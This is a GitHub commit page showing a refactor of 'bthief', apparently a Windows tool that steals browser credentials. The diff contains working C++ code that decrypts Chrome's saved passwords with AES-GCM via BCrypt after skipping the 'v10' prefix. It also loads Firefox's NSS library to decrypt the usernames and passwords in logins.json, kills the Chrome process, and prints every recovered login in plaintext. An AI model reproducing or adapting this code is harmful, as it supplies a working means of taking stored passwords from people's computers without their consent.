Skip to content

Commit

Permalink
Refactor (#4)
Browse files Browse the repository at this point in the history
* chrome: move password decryption to chrome::decrypt_password

* Overload operator<< for login struct

* Firefox: catch JSON exceptions & use X macro to load NSS functions
  • Loading branch information
curlew authored Aug 15, 2024
1 parent fd7a7a4 commit d57dd71
Show file tree
Hide file tree
Showing 8 changed files with 86 additions and 77 deletions.
1 change: 1 addition & 0 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,7 @@ add_executable(bthief
src/main.cxx
src/utils.cxx
src/crypt.cxx
src/browsers/browser.cxx
src/browsers/chrome/chrome.cxx
src/browsers/firefox/firefox.cxx
src/browsers/firefox/library.cxx
Expand Down
18 changes: 18 additions & 0 deletions src/browsers/browser.cxx
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#include "browser.hxx"

std::ostream &operator<<(std::ostream &os, const login &l) {
const auto format_time_point = [](const std::chrono::system_clock::time_point &t) {
return std::format("{:%F %T %Z}", std::chrono::round<std::chrono::seconds>(t));
};

std::string date_last_used_str = l.date_last_used.time_since_epoch().count() == 0
? "never"
: format_time_point(l.date_last_used);

return os << " - " << l.url << "\n"
<< " - Username: [" << l.username << "]\n"
<< " - Password: [" << l.password << "]\n"
<< " - Created: " << format_time_point(l.date_created) << "\n"
<< " - Last used: " << date_last_used_str << "\n"
<< " - Password last modified: " << format_time_point(l.date_password_modified);
}
3 changes: 3 additions & 0 deletions src/browsers/browser.hxx
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@

#include <chrono>
#include <expected>
#include <fstream>
#include <string>
#include <vector>

Expand All @@ -14,6 +15,7 @@ struct login {
std::chrono::system_clock::time_point date_last_used;
std::chrono::system_clock::time_point date_password_modified;
};
std::ostream &operator<<(std::ostream &, const login &);

/**
* Error conditions of browser::get_logins().
Expand All @@ -22,6 +24,7 @@ enum class browser_error {
bcrypt_error,
file_not_found,
json_parse_error,
lib_load_error,
sqlite_error,
};

Expand Down
54 changes: 28 additions & 26 deletions src/browsers/chrome/chrome.cxx
Original file line number Diff line number Diff line change
Expand Up @@ -92,32 +92,7 @@ std::expected<std::vector<login>, browser_error> chrome::get_logins(void) {
// clang-format on

std::vector<uint8_t> db_password(db_password_value, db_password_value + db_password_value_size);

// db_password[0,2] is the string "v10" (kEncryptionVersionPrefix), which is skipped
std::vector<uint8_t> nonce(db_password.begin() + 3, db_password.begin() + 15),
ciphertext(db_password.begin() + 15, db_password.end() - 16),
tag(db_password.end() - 16, db_password.end());

BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
auth_info.pbNonce = nonce.data();
auth_info.cbNonce = (ULONG)nonce.size();
auth_info.pbTag = tag.data();
auth_info.cbTag = (ULONG)tag.size();

std::string password_plaintext(ciphertext.size(), '\0');
ULONG bytes_copied;
NTSTATUS status = BCryptDecrypt(
key.get(),
ciphertext.data(), (ULONG)ciphertext.size(),
&auth_info,
NULL, 0,
reinterpret_cast<PUCHAR>(password_plaintext.data()), (ULONG)password_plaintext.size(),
&bytes_copied,
0);
if (!BCRYPT_SUCCESS(status)) {
continue;
}
std::string password_plaintext = decrypt_password(db_password, key.get());

using namespace std::chrono;

Expand Down Expand Up @@ -155,6 +130,33 @@ std::expected<std::vector<login>, browser_error> chrome::get_logins(void) {
return logins;
}

std::string chrome::decrypt_password(std::vector<uint8_t> db_password, const BCRYPT_KEY_HANDLE key) {
// db_password[0,2] is the string "v10" (kEncryptionVersionPrefix), which is skipped
std::vector<uint8_t> nonce(db_password.begin() + 3, db_password.begin() + 15),
ciphertext(db_password.begin() + 15, db_password.end() - 16),
tag(db_password.end() - 16, db_password.end());

BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
auth_info.pbNonce = nonce.data();
auth_info.cbNonce = (ULONG)nonce.size();
auth_info.pbTag = tag.data();
auth_info.cbTag = (ULONG)tag.size();

std::string password_plaintext(ciphertext.size(), '\0');
ULONG bytes_copied;
NTSTATUS status = BCryptDecrypt(
key,
ciphertext.data(), (ULONG)ciphertext.size(),
&auth_info,
NULL, 0,
reinterpret_cast<PUCHAR>(password_plaintext.data()), (ULONG)password_plaintext.size(),
&bytes_copied,
0);

return BCRYPT_SUCCESS(status) ? password_plaintext : "BTHIEF BCRYPT ERROR"; // TODO:
}

void chrome::kill(void) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
Expand Down
1 change: 1 addition & 0 deletions src/browsers/chrome/chrome.hxx
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ private:
wil::unique_bcrypt_algorithm m_aes_alg;

chrome(std::string, std::filesystem::path, std::filesystem::path);
std::string decrypt_password(std::vector<uint8_t> db_password, const BCRYPT_KEY_HANDLE key);
void kill(void);
};

Expand Down
64 changes: 32 additions & 32 deletions src/browsers/firefox/firefox.cxx
Original file line number Diff line number Diff line change
Expand Up @@ -12,19 +12,18 @@
#include <wil/resource.h>
#include <nlohmann/json.hpp>

// symbols for runtime dynamic linking
#define NSS_FUNCTIONS \
X(NSS_Initialize) X(NSS_Shutdown) X(SECITEM_AllocItem) X(SECITEM_ZfreeItem) X(PK11SDR_Decrypt)

namespace {
class nss_library : private library {
public:
using library::library;

// symbols for runtime dynamic linking
// clang-format off
std::function<::NSS_Initialize> NSS_Initialize = function<::NSS_Initialize>("NSS_Initialize");
std::function<::NSS_Shutdown> NSS_Shutdown = function<::NSS_Shutdown>("NSS_Shutdown");
std::function<::SECITEM_AllocItem> SECITEM_AllocItem = function<::SECITEM_AllocItem>("SECITEM_AllocItem");
std::function<::SECITEM_ZfreeItem> SECITEM_ZfreeItem = function<::SECITEM_ZfreeItem>("SECITEM_ZfreeItem");
std::function<::PK11SDR_Decrypt> PK11SDR_Decrypt = function<::PK11SDR_Decrypt>("PK11SDR_Decrypt");
// clang-format on
#define X(func) std::function<::func> func = get_function<::func>(#func);
NSS_FUNCTIONS
#undef X
};

class nss {
Expand Down Expand Up @@ -74,22 +73,22 @@ std::expected<std::vector<login>, browser_error> firefox::get_logins(void) {
return std::unexpected(browser_error::file_not_found);
}

std::vector<std::filesystem::path> profiles;
if (auto maybe_profiles = find_profiles()) {
profiles = *maybe_profiles;
} else {
return std::unexpected(browser_error::file_not_found);
}

std::optional<nss_library> maybe_nss_lib;
try {
maybe_nss_lib = std::optional<nss_library>(nss_path);
} catch (std::runtime_error &e) {
std::cerr << "NSS exception: " << e.what() << "\n";
return std::unexpected(browser_error::file_not_found); // TODO:
return std::unexpected(browser_error::lib_load_error);
}
nss_library &nss_lib = *maybe_nss_lib;

std::vector<std::filesystem::path> profiles;
if (auto maybe_profiles = find_profiles()) {
profiles = *maybe_profiles;
} else {
return std::unexpected(browser_error::file_not_found);
}

std::vector<login> logins;
for (const auto &profile : profiles) {
std::ifstream logins_file(profile / "logins.json");
Expand All @@ -99,23 +98,24 @@ std::expected<std::vector<login>, browser_error> firefox::get_logins(void) {

nss db(nss_lib, profile);

using ms = std::chrono::milliseconds;
using time_point = std::chrono::system_clock::time_point;
using json = nlohmann::json;
json j = json::parse(logins_file);
for (const auto &login_entry : j.at("logins")) {
// if (login_entry.at("hostname") == "chrome://FirefoxAccounts") {} // TODO:

using ms = std::chrono::milliseconds;
using time_point = std::chrono::system_clock::time_point;

login l {
.url = login_entry.at("hostname"),
.username = db.decrypt(login_entry.at("encryptedUsername")),
.password = db.decrypt(login_entry.at("encryptedPassword")),
.date_created = time_point(ms(login_entry.at("timeCreated").get<uint64_t>())),
.date_last_used = time_point(ms(login_entry.at("timeLastUsed").get<uint64_t>())),
.date_password_modified = time_point(ms(login_entry.at("timePasswordChanged").get<uint64_t>())),
};
logins.emplace_back(l);

try {
json logins_json = json::parse(logins_file);
for (const auto &login_entry : logins_json.at("logins")) {
logins.emplace_back(login{
.url = login_entry.at("hostname"),
.username = db.decrypt(login_entry.at("encryptedUsername")),
.password = db.decrypt(login_entry.at("encryptedPassword")),
.date_created = time_point(ms(login_entry.at("timeCreated").get<uint64_t>())),
.date_last_used = time_point(ms(login_entry.at("timeLastUsed").get<uint64_t>())),
.date_password_modified = time_point(ms(login_entry.at("timePasswordChanged").get<uint64_t>())),
});
}
} catch (json::exception &e) {
std::cerr << "JSON exception: " << e.what() << "\n";
}
}

Expand Down
2 changes: 1 addition & 1 deletion src/browsers/firefox/library.hxx
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ public:
explicit library(const std::filesystem::path &);

template<typename T>
std::function<T> function(const std::string &name) {
std::function<T> get_function(const std::string &name) {
FARPROC f = GetProcAddress(m_lib.get(), name.c_str());
if (f == NULL) {
throw std::runtime_error(std::format("Error loading function '{}' from library '{}'", name, m_path.string()));
Expand Down
20 changes: 2 additions & 18 deletions src/main.cxx
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,7 @@
#include "browsers/firefox/firefox.hxx"
#include "utils.hxx"
#include <array>
#include <chrono>
#include <format>
#include <iostream>
#include <utility>
#include <windows.h>

int main() {
Expand All @@ -30,26 +27,13 @@ int main() {
if (!browser) { continue; } // browser not found

auto logins = browser->get_logins();
if (!logins.has_value()) {
if (!logins) {
std::cerr << "Error getting logins\n";
continue;
}

const auto format_time_point = [](std::chrono::system_clock::time_point &t) {
return std::format("{:%F %T %Z}", std::chrono::round<std::chrono::seconds>(t));
};

for (auto &l : logins.value()) {
std::string date_last_used_str = l.date_last_used.time_since_epoch().count() == 0
? "never"
: format_time_point(l.date_last_used);

std::cout << " - " << l.url << "\n"
<< " - Username: [" << l.username << "]\n"
<< " - Password: [" << l.password << "]\n"
<< " - Created: " << format_time_point(l.date_created) << "\n"
<< " - Last used: " << date_last_used_str << "\n"
<< " - Password last modified: " << format_time_point(l.date_password_modified) << "\n";
std::cout << l << "\n";
}
}
}

0 comments on commit d57dd71

Please sign in to comment.